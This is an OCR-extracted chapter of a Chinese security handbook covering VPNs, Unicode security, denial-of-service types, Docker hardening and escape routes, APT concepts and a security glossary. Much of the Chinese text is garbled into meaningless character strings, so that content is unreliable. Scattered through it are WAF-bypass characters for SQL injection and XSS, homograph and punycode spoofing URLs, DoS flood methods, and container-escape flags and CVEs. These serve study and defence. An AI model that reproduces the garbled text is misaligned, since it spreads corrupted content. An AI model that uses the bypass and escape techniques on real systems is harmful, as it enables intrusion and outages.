SSL VPN: J£PA HTTPS (SecureHTTP, Z¢4xff) HTTP, BJsZ#; SSL iy HTTP ) MEAH VPN 3
AR, TAHELEEMBZZ . SSL VPN 5870 A T SSL ppsEpt i BT U430 S e . Kt A
TH S SEREPERAEAL] W] DA )2 2 (B 5 AL e 4 ¥ HE . SSL VPN Tz W T 5T Web (e 404
T, PR A E AR AR T A R
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IPSecVPN 2T IPSec MM AY VPN $ A, H IPSec SRt 2244k . IPSec &—Ffi IETF ¥t
f i E S A B RS T TP TR AR Ze LA . &k Internet FAEMAEIRIRAE T E RRR . AT E AR
0. BTS2 A RIE .

11.3.6 REEHITRS
[h1
W 2% 22 4 v TE R GEEN B IMAT A4 BEARIAT A T AT, Ao . AT s SO X T I RE .

M BZ T IR A RO, BB SR . B R IR AT T 8 R R A R it
MEOK, R ERICR, BT EEBE. RGEZEE HRREPTE.

11.3.7 S5

o ML LB

11.4 Unicode

11.4.1 EXES
BMP

BMP (Basic Multilingual Plane), F{EHEARZ CHFR, & Unicode WA —A 4t X Bk,

BEm

Unicode #5553~ 17 AP (plane), BTHEASE 2716 (RP 65536) 547, 17 ANF-1H BRS 7 ] R
FM U+xx0000 F| U+xxFFFF, Hr xx FoRT753EHIEA 0016 2] 1016, It 17 4P .

Code Point
Code Point tH#x1 Code Position, FAFRA L Imfs i, g 2H AL 2 [A] R .

Code Unit

FEHFR Unicode #ifid X HL4wfi%—4> Code Point T35 /D474, o UTF-8 f5 %8 /b— A7, UTF-
16 FPWAFTT, UCS-2 BiA571, UCS-4 Al UTF-32 IS5

11.4. Unicode 371


https://wenku.baidu.com/view/2b5540cca32d7375a517806a.html
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Surrogate Pair

Surrogate Pair & T UTF-16 BYPAM] 532 UCS-2 1), figy2E UCS-2 JE B 0xD800~0xDBFF (#f

A high surrogates) #l1 0xDC00~0xDFFF (F7k low surrogates) HJRS(,

—~ high surrogate #—4~ low

surrogate PEMPUNF T FRRBH BMP 1545, W4 surrogate range #B& 1024 NS4, DA surrogate pair
AT PAFEIL 1024 x 1024 = 1048576 = 0x100000 4~F4F .

Combining Character

%140 He1l1s

BOM

FEA M FEFRC (byte-order mark, BOM )

UTF 32 b UCS FAFEN S 74T ER S I I, XA

I hd o

11.4.2 {EHK

UCS-2

UCS-2 (2-byte Universal Character Set)

PR,

UTF-8

UTF-8 (8-bit Unicode Transformation Format)
o ERPAH—ZPUAFA5%) Unicode

SHEE T ZRNTAT,

PHATH AW REREAL. FrAX R

FAFH R brs H

FiZ AL G Tr SRS B

TN RR S XG4T, 1k U+FEFF , 24P0 UTF-16 5§

TP WHM TR RE N UTF

e AhE RS IG T, UCS-2 (U B 1 —4> 16 LA IiAk
AR M ETEREAE 0 2] OxFFFF YR Aru A -

e BN Unicode HYMIAE K L FATHAD, tHie—FhRTE

TR BT A 2 Y it

7915, J&T Unicode FrUE)—34 .

Gt Iy s

AR | A E| BELE Z%F | Bytel | Byte2 | Byte3 | Byte4 | Byte5 | Byte 6

5 & 3

7 U+40000 | U+007F 1 OxxxXXXK

11 U+0080 | U+07FF 2 110xxxx)x 10xXXXXK

16 U+0800 | U+FFFF 3 1110xxx%x 10xxxxxK 10XXXXXK

21 U-+10000 | U+1FFFFF 11110xxx 10xxxxxK 10xxxxXXK 10XXXXXK

26 U+200000 U+3FFFFFF 5 111110xx 10xxxxxK 10xxxxx%K 10x%x%%xXK 10XXXXXK

31 U-+4000000U+7FFFFFF6 1111110x 10xxxxxKk 10xxxxxk 10xxxxxK 10x3x%x%x%K 10XXXXX]
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UTF-16

UTF-16 (16-bit Unicode Transformation Format) /& UCS-2 fJ#ifg, H— & W1 16 Aok FE R
£, ATPANE 0 F] Ox10FFFF 807 HE1 74 A5 «

11.4.3 Ffiritia)d
&

Unicode (Gt—%) W& TFZHRRIRTAT, 0 T HIA3F 2 IR IEREWS 32T , 4 1 T Unicode 241 (Unicode
equivalence). TEFAFH, ALAEE LRI E PR FAFFIIE . UL, Unicode Ff— 2L {3741 & X
JEAESE -

Unicode #4570 RIS OMAIRASM. M REHI—ATH. B0, T4 o FREAET
#~ 2 GRERE) S60T Unicode 54 i, THAT F MIVEREENTRA 1 74

Unicode IEMALR SCFIERALH)—MIE, @8RS5 0 i) 7 91 e i) — 31 ¥ o EJP81HE Unicode ARifEr
FRAEIEMIE .

XGRS, Unicode S XFIEN, —Magatliny, —Masensinr. Hit, sasfM
Mg, M54 5% NFC, NFD. NFKC, NFKD, % Unicode {3 BIRL T &, EHALEMRE
T BB T . BRAHDTIE .

R

R 5 (T SRR o RE LRSS TG AR B 6 £ ey T
FARHORE, WA n MAETH ~ TR i S B0RR AR, BT Rl
PRI AR RFOLSE AR LSO BUAL, 25 BOAE  BE R RS RIS 5 B SO A b

HESEAY . BApTEUL, TRAFAF 00 M ‘w J 7 Bralsy R o @ anESE o, MM, SE—Rah T Lk
iy L ERREa SRS N IS RS PNl ARk e

REEH

HAF M ITE BRSO WRFIRIRESE N T S A, MR N . A
KETET AT RIS, FHE—281E L R TE A8 —

B, AR RSCOF G AT, AR 0. SO T AN R B S0
TR, 7RI —HE R AT (RRYE LTI e, 2T Scpbrh, b
PRI BRI AP B R AT B L)

AR IR R — M SO R RARE ST, WA ARG, HOUR L A iH
LR, BRI A IR R R, TR . AT, SO
T EDR .
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SO AR PR SCBLGE R P AT R R AR I, A5 R RS A AE . AR B IR is , H o
RN TR B SE_ETEX TR T

GE— R R T — MR HERY IERCSE PRI AR R B 8 7 A — A ME— B 1 o AR M SR T A AR Y
(NF) siezeiy (NFK) o BEAW DMER LSS MR MICEK, MHg— M inifEa 2 e g w2 A w]
AER o 0B hy e —Fhas (48 7 BB A IEADE S &MU NFC Fl NFKC PAR M AT NED Al
NFKD. MAEEHERSMERIE, M HTRE)Y , AR 6] AE 2O E— T

IEHiE

N T RS RGP AR, A AR & s R A 22— R R R R AR G Y
EARMIER, MR R R . 75— 7, SO S B R EGR . B, a7
(U+FB03). & ohyin  (U+2168), H =22 AR ° (U+2075) A HABGE— AL, A EAE A
HALEIZ LR (A IEIER S0 L E £ 1. JTARER U+0066 (f) W, 7E NFKC f & i,
{H7E NFC WIS AR A TERAL S 8T FRRE T 7R T (U+0049) . RKfliy, 07 LFR “57,

PR, KB B BT R ZOR 2, RO EARIIE B MK . T ARV, 4
W PR AT T AR AR, HARME TRl . ST T, X% <compat> |
MAE_EARHITEOL TN <super> o 2% SUPFHE A ANE SCAS ELARTE = W & (8 I ARA R 2. Bldn, HTML )]
FE SRR 57 i8I EARAIE

IE#RER

e NFD Normalization Form Canonical Decomposition PAFRUEZEH T7 - 40 fif

o NFC Normalization Form Canonical Composition VAFREZEMN TR, RIGUAREZSMMEH . &
12 singleton (3%, TLALLEEAT AT RERIS MBI A .

e NFKD Normalization Form Compatibility Decomposition PAFEZZEM J7 Sk 4-fif NFKC

o Normalization Form Compatibility Composition PAFEEZM TR KM, KIGUARES N EHZ
11.4.4 Tricks

o WMETMKEHARFAMKE, —4> UTF-16 AJRE2 1L,

o WRIEFAERF, UTF-16 52 7Figiant, SA~PHR.

11.4.5 Z£ 078
Visual Spoofing

Bl4n b idu.com(HEALEY a 2 u0430) Hl baidu.com(BLALHY a hy x61) Mog AR, (H25LPs 38 mpiA~AE
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b a idu.com(BLALRY a fy uff4l) F baidu.com(MAMHY a Ty x61) A —E MR, (HZ 45 A PR B854 .
XFPBER AT PAG |22 Spoofing 5% WAF Bypass 1.

Best Fit

WERWA TR G A AR, 2 BRI SRASAEZ SIS A XY, R Sl R P A AT A s e
BIETAFER T A FAF, TR M A —E 2.

AP HET | —2E WAF Bypass,

Syntax Spoofing
PATRPUAS Url AR AR I I, , (H52 R B P AP A R BRI 2P AT, e U+2044(
/), FTPAE—2E UT B ).

o http://macchiato.com/x.bad.com macchiato.com/x bad.com

e http://macchiato.com?x.bad.com macchiato.com?x bad.com

o http://macchiato.com.x.bad.com macchiato.com.x bad.com

o http://macchiato.com#x.bad.com macchiato.com#x bad.com

Punycode Spoofs

o http://EEEE.com http://xn--google.com
e http://[E.com http://xn--cnn.com
o http://WEFEEEIE.com http://xn--citibank.com

AN SR 2 HIE/R puncode, {HR2 R A BIX AL SEEL UL Spooof.,

Buffer Overflows

TEG TR B, AT EMEAFAF, 1 FluB — FLUSS — fluss X H A §E 58 BOF.

11.4.6 EIREE
URL

o [ (U+2025)
o [E] (U+FE30)

« . (U+3002)
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(U+24EA)

/ (U+FFOF)

p (U+FF50)

(U+02B0)

s (U+00AA)

SQL EA

« ' (U+FF07)

" (U+FF02)

(U+FE63)

XSS
« < (U+FF1C)
e " (U+FF02)
BLEN
« & (U+FF06)
« | (U4FF5C)
BEHREAN

« [F] (U+FE5B)

« [ (U+FF3B)

11.4.7 S5

BAXHE

e Unicode equivalence
e Unicode Normalization Forms

e Unicode Security Considerations
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RFC

e RFC 3629 UTF-8, a transformation format of ISO 10646
e RFC 2044 UTF-8, a transformation format of ISO 10646

e RFC 2279 UTF-8, a transformation format of ISO 10646

Tricks / Blogs

o IDN homograph attack

e Black Hat Unicode Security

e Request encoding to bypass web application firewalls
e domain hacks with unusual unicode characters

o HIEZARIFAHE Unicode

11.5 ERARSH

11.5.1 @&

DoS (Denial of Service) fRIEE/RST, J—7lid o A 5543 3 I 4 REme it I 245 et Lo

AE T £ 5 10 250 E 45 (DDoS, Distributed Denial of Service) Beift, #utati 1701 i ALAS 4L
AL ST KR KSR, X% E A — A% & HARSSHE DDoS Beifs, Mt Mt
1, RS FARM VI, 008 H bR KR E R 450 B

11.5.2 UDP [R5t

BT UDP XY DDoS Tl tH4E iR 55 Bk i) — M. Bk A BRI F s, i@ A1) ELIR ) Ao
YOTFIRINR S5 2 . DR BEcte 2 RO LI I ) iR 55 4 Ak BT UDP MRS RORRIARTE SRR, (A TR
SRR A s B ey 1P, TG 2 A2 8 DDoS Zii

# T DoS BihMiss A
« NTP
« DNS
. SSDP

e Memcached

Hrp DNS i £ 2248 DNS Request Flood. DNS Response Flood. EfRE + E 5 DNS Query Flood.
AR 5w il Local R4S #800:E .
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https://tools.ietf.org/html/rfc3629
https://tools.ietf.org/html/rfc2044
https://tools.ietf.org/html/rfc2279
https://en.wikipedia.org/wiki/IDN_homograph_attack
https://www.blackhat.com/presentations/bh-usa-09/WEBER/BHUSA09-Weber-UnicodeSecurityPreview-PAPER.pdf
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/request-encoding-to-bypass-web-application-firewalls/
https://shkspr.mobi/blog/2018/11/domain-hacks-with-unusual-unicode-characters/
https://zhuanlan.zhihu.com/p/53714077
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11.5.3 TCP Flood

TCP Flood j&—FAIH TCP sy sy, XAy 2l thid IP 1 Bek i g5 i Aok Kt g TCP
SYN 43K, #HE ks m R 5 (SYN+ACK), Hhthign IP Aably2 5ETE, REdHs
REFE SYN_RECVORE, i, XLy TCP SRS ERT, IR kit 7.

11.5.4 Shrew DDoS

Shrew DDoS F| ] v TCP RyEAMALALH], JHHELGh FNIR R % TCP #pilli) RTO, KFIBEARCR . H
BB DA E R SRR A M I [R) ek, X PR RERSAF TCP it BRIy HBAR R ) —/ N oy, [
I DA A A AR -3 e A AT 1 i DAGRE SR G o

ARG E EX TCP Pl T T B, (AR

&

]

11.5.5 Ping Of Death

TEIEFE I T ASAAERT 65536 D111 ICMP 1, (HR2 4 SO i B . @ adhixX oy sUaT DA A%
KT 65536 A7) ICMP @WIFAEEARENL EEH, KRASSE@IGHEBRZMm XL, 514 RS BG6E .
AR RGO AR Aty sUHEA TR A, (AR 2 52 m

11.5.6 Challenge Collapsar (CC)

CC Mt — P BRI DoS Xeily, Zrali & il & i I SRBA T REMR 55 a5 B IR T SRk 2 H 1 .

CC ity NAMRE R, 8 WA BGE nT DA s U R R T, W0 R R T THAE R T ek 2 8. B4y
HTTP fiz55 deth il b~ R SCr: . s ki HAE A SRRk ST

11.5.7 &K ik
HTTP 1&# Yt 2 H Wong Onn Chee #1 Tom Brennan 7£ 2012 ) OWASP k& FiF=(#EER, H#E X
LR IHFEIR S5 2 B IR AIA B IR 55 19 H 1

M543 Slow headers / Slow body / Slow read =fpIii 772, Slow headers — F AEH) 18 3 & %
HTTP L35, WREIRS 2 EBFI N AE % . Slow body % 3%—4~ Content-Length k) HTTP POST
K, BRI RIER D EREGE, fHRERE— EARRE G . Slow read DAMRARAYHE L Response.

11.5.8 ETFiRFZFHE

o JEGILIRE
~ ERM 0 SRS
. Bk
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— i /dev/urandom %5 Jo FR il (1 U1
o SZRURIF R 5L

— RFFME RHHA
o AEWIfEDT

— JHFBE K ] k=X

11.5.9 FHBBFAR

BETREE BOT O RR SO BT, AR R RS T A / R AR A
X TE 5 B HEA TS, ot S S31 H  S  R REA T A / B R A
FT TP /i 1 A 725 A B SR

SET MR R T/ B

11.5.10 &E5%E

e linux academy dos
e slowhttptest Application Layer DoS attack simulator

e Slowloris wiki

11.6 Docker

11.6.1 EFMLBERETRER

fREEIMEEAR

RGBT A N hypervisor JZ=, BRUHM K, W7F, CPU SRMEIIRECE, FEH BENH L, f4
HPHERA HOW AR N RS RMESOR AU E BT, AR ML MRIERENE, A
SE BB R IR, NI EA R e, ST s RSP Z g5,

FHEA

AP NEAE— R B A X, R ARTE R E R RZ A TR AME, WIS BN R RisfT2
NHEAMEERST . M EL TG L 55058, Aas i iE TR e N s T PR A ML R A EL
TAEGRENL, Zas TCF ML BAE R G AR T AE g AL ST, ST R psf T8eR 5 A &
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11.6.2 Docker

Docker 72 H Al AR A S F 62—, HARZE S, 152516 305 % . 7E3T Kubernetes
SR TR AR I, S EYRBRSRAE, At RIS, A
FHESEE . W SRR IIRE .

BEXHE

Docker 4 =AME4MEE, $iff (Image). 74 (Container). (4 (Repository). Hiffd—HELMBUR,
o — 413 R GE e Union FS $OR41 .

BBURHEHE XL, A e NEGREEE TS, A ABURHRE, WA A SR 2.

@ (Repository) 2EHAFIBIE ST, MTAEH. R

s AORZh . THR . Ik MER, BORarE R R ER, AR A S E MU A 2 i Linux 2R

355 (4% root I FRLER. UEREZSIA] . PS4 25045 ) Aaf e i R AR -
H

Docker 51BN FEAHMAM B : Docker & i (Docker Client) . Docker 5F 2 (Docker daemon) |
containerd PAK runc, ‘B[R G AR EFLETT.

Docker Client #2#1 Docker Daemon Z7i# {5 % ', Docker Client A PAMEIZ http/unix socket %75z
Daemon 37 iH1{=.

Docker Daemon FEfg BAHLETT, 1ENIRSm#E2 2k B Fumiigok, FERURFEEGRER. SIgEmaE.
REST API. HRIGE. 44, ZOM%E LA SHE. Docker daemon 4T /var/run/docker.sock [{J4s
Hb IPC/Unix socket HSEBE Docker iifg API, BRIAAE TLS W %m0 4 2375, TLS ERikig 1k 2376,

iz

Docker HJEE T 270 I AMRIARRE AMEAE , BOATOU T AR AL il 2 B S22 a6 -5 28 e At
BRI ERAER A MBS, 7 Linux BT, R AMMBHEEAE 68T /var/1ib/docker/ T,

4%

Docker [#Z558H4 5 H — Rl fE AR 2R M 2B T 58, 28 CNM., Libnetwork. [MZ55KEh IR .

11.6.3 Z&NES5= LY H

1% J& Docker 4RI A5 T 25 TE AT JLA
o WA B 24t SO i 44 23 [ A cgroups H SCHF
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« Docker ~PoPtREAR B B Bt T
o R “SiAL” LATIREA K EA TIN5 A 4Rt T30 H.

Docker &2 B4k

R
ST FBM—NimagetliE , EREAIUERiImage
/sys
/proc/sys
. Y RURGEE
/proc/sysrq-grigger | FIREMAEKHRE -
/proc/irg HeZ 1.0.0 CVE-2014-3499 120 7.2
/proc/bus CVE-2014-9357 {£2H4T 10.0
/dev/mem CVE-2015-3627 121 7.2
namespaces
Jdev/sd” AERRINL EMIESIRER aEREE |- CVE-2014-9358 6.4
= = - =22HlE W% 13 N
[dev/tty dockerBSER - -| CVE-2014-6408 #id 5.0
IPClaE CVE-2014-6407 {247 7.5
(L CVE-2014-5277 5.0
ARPIE CVE-2015-3630 EEittsE 7.2
HZ 1.6.1
IPtableEiF#IA FtaEE = CVE-2015-36313.6
IPtablefEfIIXE:
PlRALE _
BN - EESEFRITAERNREERRRE AR
IEREENE control groups
T EREERE Linux kernel capabilities
FELEESMNRR
_ dockeriBinldl |- REBEESERREES
iBiddockeriZilpkAroot - HZSroot
SRR AL ENGE

PI#% &5 &= iE] /namespace

Docker 75485 LXC Z&gndbw A 0L, I HAAMIRY LR . 40 H docker i217/8317 %50}, Docker 2%
TEJG & N a il —d G4 2 A A i 4

A S R T — N E BN B RSP TR AR B O e Y — DA LR S
s TR .

MG H T MR, XEWE DA A BB 5 — DA B B 7 uli% D ARG T . 244K,
ﬁﬂ%ﬂiﬁl%éﬂ‘ﬁf BCE, A AT DA A5 F R W 2882 D L. RO 2 de i i o i BRI BERR IS, A4
Z A v IP Jifs .

EANTA AR E. ping i, Zvii?é/ﬁll& UDP ¥diitd, s TCP iz, (Hi2 tlu% TR AR AT, R4S
ERGMR AR, 4 Docker THL LRI FTARARAALT FIBFE O L. X ERE AT B S8 /Y A
K P S A LIS ) PR g —

Control Group

P42 Linux B0 55— REAPE, 2R St v IR S AR il o

Cgroup $efit ¥ 2 A MM RARE, (HA B T6 (R A RE R A-F RO As, CPU Mifgi# 1/0;
B AR BRI AR SR Ty ORI IR R SR L RE
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it R4 Cgroup AREFH 1L — 27 F B 0 7 — A s p Bn e Rs , (e T — L 9E 4 i 55
YR BEXEER . ENXTZMFEIHES, SINAIHFA PaaS, RIS AR IT 16170
N R RIE— B IE R B AT A (FITERE) .

FIRERMREE
/1] Docker jaf7 A4 ERH 24T Docker ~FHFERE, WX ANSF4r HEAR M I F5 2 root AR, UL, <pdribis
e T TR — T

HIE, RAZEE NP A BB VAR Docker ~FPife. BAAKIL, Docker FiF#EE Docker TALMITIZ
a2 I A H 5% B AVHRIZARMUT A R B A BT AR . X RRE T AR B — %848, H/host
FUSRRF O 0L R/ H 53, AR BER AN S AR AT BRI i 2 AL RS

RRAMRGR AT BN, it Web i 5@l Docker PAilad APT BB Zeas, W i% 5 r 40
WHHAT SRS A, DABRBSEE N P ISR R RS E, IT53:8L Docker BT R4 4%

SPPUERE T REZ S 2 B HAA AR 2R, BIAIAEA docker SRR EL S EA docker pull (R 2% 2K
AR .

4, it Docker SPAPUARRFZATZIREIAL, FHREZITHRHERIH T, S0 Tisaacm Gk
FAMRAY) Linux DIAEVERE, REMIMZSIE, SOFRGEBISE . Bt2ll, RThE, Docker 584 B>
FHER R HIETT

Capability
BOATEUL T, Docker SR Capability AL ASEBUN FAEA root BBzt &gy my, FRHIFD root f#:

fE.

TERZEIEN T, B ATFEEIER root AUR. Ft, Docker W PLizfT—~ Capability ARHES, XE
HE R root FLEIER] root B/AMEZ , Bl :

o TAPTA HEEIRAE

o JHAEVIFEIRE T (B 50 (s )

o JHAEVIRLESUIE R G, WA TN, WECUER A HEE e SURE (B TARE)
o AN

o HAth

REWRE, RIEAREEA G NI root AR, H—LHHBLHMERL . BT, Docker 1 H4
FRIMTAZ R B, KR T A R B DI RE

Seccomp

Docker fifiJi] Seccomp R FR il e X i EALNAZ AR ARG -
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11.6.4 WHFmE9H

RS

TEM 7 Dockerfile [yt fry, B2 6 ARG FERIRIE, WATREAAAE CVE Jwild. 511, S eas9. 5
B A HORS PEA A T TR S5 ) R

LR BE

HAR Docker il i iy 44 25014 T T SCAF RS IR AR 2, HA54F /sys . /proc/sys . /proc/bus . /dev
. time . syslog % HBLARLE A H R a4 25 AME ERSCIIE R, 12518 FALIL A BT .

AR EiRiRE k&

o CVE-2016-5195

e CVE-2019-14271 Docker cp
e CVE-2019-13139 Docker build code execution
¢ CVE-2019-5736 runC

— Docker Version < 18.09.2

— Version <= 1.0-rc6

o CVE-2018-18955

BEETY

JF)E privileged
s EHUUSHE %
BLE cap Y

— —--cap-add=SYS_ADMIN

o #%43 namespace
— --net=host
— —--pid=host

— ——ipc=host
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ELEAR 55

« CPU &R

. WIERER
N

. WAVIEFEAR

EREHES

o H:# /var/run/docker.sock

o HERIE T /dev /proc LG H R

Y Docker SpiPiTE

R Docker 7 FA MRERA 22 PRI, {H/2 Docker Sy ilbAR A B H A B 58 F A PRI Docker =y
PUEREA G BOINH root Ml Fisfy, H HZIREASHBAH MM Seccomp 5345 AppArmor 552 &R IEAT
PRI ARG Bl s A 2 il 4 i Docker P4 IERRMEATAT ROSCH S 88 U AT, il DANGUA 3K
P FALHY root AURIMTA 232 BN & Fh L LRI RBELAT . (H5—3r02, BOARIT Docker A&JTH User
Namespace F ], XBEHHE Docker NI root 54 T4l root X ICPFAIREIIRMIF . X 35— HAS
P root PEARARHULE 18 TALSCHFMIPLS, SCPFURIFA SO 7 — A . X — 5 fE CVE-2019-5636 Fi)
Uik EENRL SR

H{th CVE

o CVE-2014-5277
« CVE-2014-6408
o CVE-2014-9357
o CVE-2014-9358
« CVE-2015-3627

o CVE-2015-3630

11.6.5 w2iNE

o b
— WA A TR (hiFdsss)
o BB ARG

o JE AppArmor
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« J5/8 SELinux
o REl2TT AN
o FERRUOHIL 2
o T T B X 2451 s SR
o AMfFH root {1 E3h docker
o ANPA privileged FAAURL ST A 2
o PRGN
— CPU Share
— CPU %k
WAF B
— 10 %
— TEfRBE A
o AR RS
o EM LA AN
o MHBRBUR PG setuid I setgid FBLBR
— RUN find / -perm +6000-type f-exec chmod a-s {} \;|| true
o MCE Docker SFHHEFH) TLS STk
o WARL R (R A SR IRNE

e rootless Docker
— https://get.docker.com /rootless
o ffif] Seccomp FRf syscall
o FEEEPRRIAE LIRS T
o UEBRIR:

11.6.6 Docker =R FI

Docker B

o MAC Hihit>h 02:42:2c:11:00:00 - 02:42:ac:11:ff:ff
o ps aux KHER/MzfTHIFET pid #AR/IN

e cat /proc/1/cgroup docker [{JHEFE
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o docker 5 F{EALE .dockerenv
o AR 2 E a0 ping §F

Docker p

e /var/run/docker.sock C{HFEALE

o 2375 / 2376 i I )E

11.6.7 &L HiE

e A House of Cards An Exploration of Security When Building Docker Containers
e Privileged Docker Containers

e 32c3 docker writeup

« IR ST

e Docker security

. G4

e CVE-2017-7494 Docker V)45 ki

o Docker Zgs LtV HT

e AppArmor security profiles for Docker
e Docker Bench for Security

o Docker %415 YT 404

o Pfleeger C P, Pfleeger S L, Theofanos M F . A methodology for penetration testing[J]. Computers &
Security, 1989, 8(7):613-620.

11.7 APT

11.7.1 &4

APT (Advanced Persistent Threat), #iFAERFFLEEM. 2006 4, APT Mriniit&ei iR, Aok
R 20 28 90 4EAREF 21 2807 3 ] 22 AU 9 26 v A B0 B ELAR22 1 I 28 s

APT Zray 2 TR A BRI IEAT I 45 (B 5 2l H F AR 2 R BRI R B SR i Al 1 H AR R 4
Xt H AR R G AR AR

K APT Buliffd i e — NG, HE A G A B IR RF S A ot ST ah i e i . A Ak
HNAR SR B AN 2B APT, Ry R AR e g H s, R A JeltAnis A
{14 5 DA SE IR B A BTN

386 Chapter 11. Hf{h


https://blog.heroku.com/exploration-of-security-when-building-docker-containers
http://obrown.io/2016/02/15/privileged-containers.html
https://kitctf.de/writeups/32c3ctf/docker
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https://www.freebuf.com/articles/system/221319.html
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APT {IGEFBoll # ad e 8E iy . da TRS I T HIGE A M4 2 iy, AT X LI
FBOFRF B E SR AR — B W E AT RN EPATRE ML S5, FTHRFFERCK B ] AR I

G R KB  BEE T 3O, o8 APT Mol i i 45 E R HAr, H2RIGhA56 &
) FBoksel—Ik APT Bity, (EHAE IR R BRI 22, 100 APT Mra RS AS A 24 TR X . Jost
A APT BRAE 5 BB T X = A7 T

11.7.2 4t (Advanced)

APT Zraly &5 6 Yl B A o R BGE T BORIBAR , (A0t HA 1 s ) B MRS 2

W28 By R H i — ATy 3. Bl il S Gk TR A T BOR Dhis nl 5 BEAEw w7 g
B 7C H AR E AT 24 T s 4R Ak e A B U F AR R AR i B o Sl I ik S R oA i fi
B2 T W B P i 0t 0 T OREA TR

APT Tl #7538 2 R HA ) 75 20K 00 % B C R BGEAT Y, A SE BUALEE 22 4 RGN H . FLUnA iy
AR AU Sl i Dh i AR R4 R ARG . DAREMDRBE N B, HAETC It 66 1 3mSR A8
A AR X AT T84, XA 7 s U R R SR AR ARG S B E S E AL 2
YRR, AR AT AT A o

BT AR A s i, APT Moy e mdiad 75 vt 45 M M 56 =5 Bl i A IR R Bt H AR T
ARG S B R BEER . A R K Gt

IKGLGE R — AR FiE, — ok, RAEBGEEX HAA —& 75, 0 e Xy FH AR 507 i [
ME AR AR — A B LA, FERX LM AR, B 5ok S LA B Mt e H AR BE ) A
N BAE B T HARE AR =05 R, Sl S A AR e R B AR

AR I APT Bl @SRt e 2 H i, H arEFs BB —A2 F R iAs e85 or 21800
TR, A% H R B R A AR 2O R PHR A . 7E APT b, = H IR A AR 2.
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11.7.3 ¥4 (Persistent)
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EREw 5 iRl B Bt
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11.7.4 Eilrit (Threat)
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11.7.5 HXE#

o 2010 4FEAFHE R R
o 2013 EEKRE 1

11.7.6 1oC

ToC (Indicators of Compromise) 7EHUESikpl e X A FEHL% 4 IR R -
L 1oC DA T LR
e hash
o« IP
. 4
. %
LU
. TH
o TTPs

11.7.7 &L HE

o APT it Je TTPs #2H
11.8 #uE=Re
11.8.1 && k%

e Introducing SLSA, an End-to-End Framework for Supply Chain Integrity
11.9 iEiRi&iE

11.9.1 USB ik

BadUSB

WL E AR USB Ay ARz il s, RIETEEERAE, Il i, AabhrE i f it rig
AR,
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AutoRUN
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USB Killer
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HID iz

HID (human interface device) ¥4 #%. AR H T A THENISL O A AN Bk £ . HID M5t
FRERIRNG USB 4B O A 5, — HE 3 it BT 7 () 8% B 454 - HID I n] PAJE T Android
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11.9.2 Wi-Fi

TR
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EEEH
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11.9.3 [z
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T4 FL 1 VBRIP4 B B ) Pl R 96 P 2 S P I G FELR ok LU REBURK, T DA A LR ik (Electro-
magnetic Pulse, EMP) B 2R 3es, REIMITH LR
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11.9.4 &EHE

o TIFBEE R

o LLHNPIZITIRE

11.10 ®RARiE

11.10.1 R4LHExX

o WMI (Windows Management Instrumentation)

11.10.2 MLEHExX
P £& i

o BAHFAPMY (Lightweight Directory Access Protocol, LDAP)
o FriH4 (Distinguished Name, DN)

o FXIFRIH4 (Relative Distinguished Name, RDN)

o HRE#8IYE B (Server Message Block, SMB)

o ML HILE RS (Common Internet File System, CIFS)

o SMTP (Simple Mail Transfer Protocol)

o TRTEAR 545 BB (Simple Network Management Protocol, SNMP)
o POP3 (Post Office Protocol 3)

o IMAP (Internet Mail Access Protocol)

o HTTP (HyperText Transfer Protocol)

o« HTTPS (HyperText Transfer Protocol over Secure Socket Layer)

o FSTHELE MY (Dynamic Host Configuration Protocol, DHCP)
o R FEJEA (Remote Procedure Call, RPC)

o Java LMY (Java Debug Wire Protocol, JDWP)

o ML FESE (Network File System, NFS)

o 5 ERZFR (Service Principal Names, SPN)

o fRIEABEIE (Simple Authentication and Security Layer, SASL)

o FEEEARM ZIE L FREMT (Link-Local Multicast Name Resolution, LLMNR)
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HBERG

o HIEAS (Autonomous System, AS)

o NHERM XK HMY (Interior Gateway Protocol, IGP)

o AN KM (External Gateway Protocol, EGP)

o ISR (interdomain routing)

o A H%FE (intradomain routing)

o i B MY (Routing Information Protocol, RIP)

o JFHERIEIAZILSE (Open Shortest Path First, OSPF)

o S (Dynamic Routing Protocols, DRP)

o EHEKITAMENMY (First Hop Redundancy Protocols, FHRP)

o M H AN (Hot Standby Router Protocol, HSRP)

o BB ITUATMY (Virtual Router Redundancy Protocol, VRRP)
o P ERMEIEMY (Gateway Load Balancing Protocol, GLBP)
o WMZEHNEEEH (Network Address Translation, NAT)

o SN} AP (Point-to-Point Protocol, PPP)

o AP (Spanning Tree Protocol, STP)

o QUIC (Quick UDP Internet Connections)

4% R

o JEFBBEHHE (Certificate Transparency, CT)
o DNS JIEFHMEM#IFZAL (DNS Certification Authority Authorization, CAA)

o WHZM K (Application Level Gateway, ALG)

Kerberos

o B KL (Key Distribution Center, KDC)
o INIEMRS %% (Authentication Server, AS)

o TR S 4 (Ticket Granting Server, TGS)

11.10.3 FEHEx

o REST (Representation State Transformation)
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11.10.4 ££#x

o ity (defect / mistake)
— BRSBTS BRI A
— B SR BREFIIRE R SR
« kK (bug)
— SEIZE TR
- BHYRIMBE
— Bl Sewh X
o BBt (flaw)
— — R BB, XMERASE
— BEAAEFREN T A 6
— BRI RAL PRI A, BRIP4 R AL
o Wi (vulnerability)
— AT DA T i I 2 A SRS 1) sk e
o TAST (Interactive Application Security Testing)
o DAST (Dynamic Application Security Testing)
« SAST (Static Application Security Testing)
o ATT&CK™ (Adversarial Tactics, Techniques, and Common Knowledge, ATT&CK)

o {53l (Lateral Movement)

REFER

o A5 B4R (Security Information Event Management, SIEM)
o Hahfkm, SOAR ##Y (Security Orchestration, Automation and Response, SOAR)

o SDL (Security Development Lifecycle)

REKE

o BEIEEIEILZENE (Cross-Origin Resource Sharing, CORS)
o KA NIKMEHEZE (Sender Policy Framework, SPF)

o IR BIMBLE (DomainKeys Identified Mail, DKIM)
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o BT M EINIER S-S —8tEPMYL (Domain-based Message Authentication, Reporting and Con-
formance, DMARC)

o DNSSEC (The Domain Name System Security Extensions)

o ET DNS Wy Lk Bl (DNS-based Authentication of Named Entities, DANE)

ZEER

o MEZENBERA (Building Security In Maturity Model, BSIMM)

11.10.5 HHExK
A
o BEukMIAT T (Cross Site Scripting, XSS)
o BRI (Cross-Site Request Forgery, CSRF)
o PRI A (Man-in-the-middle, MITM)
o MRSk G (Server Side Request Forgery, SSRF)
o EFFEEE (Advanced Persistent Threat, APT)
o LA THIT (Remote Command Execute, RCE)

o EREMIEIHFT (Remote Code Execute, RCE)

o HAMEE (Out-Of-Band, OOB)

b i

o X I (Spear Phishing)
o JKITH; (Water Holing)

o N AIELiIR S5 (Distributed Denial of Service, DDoS)

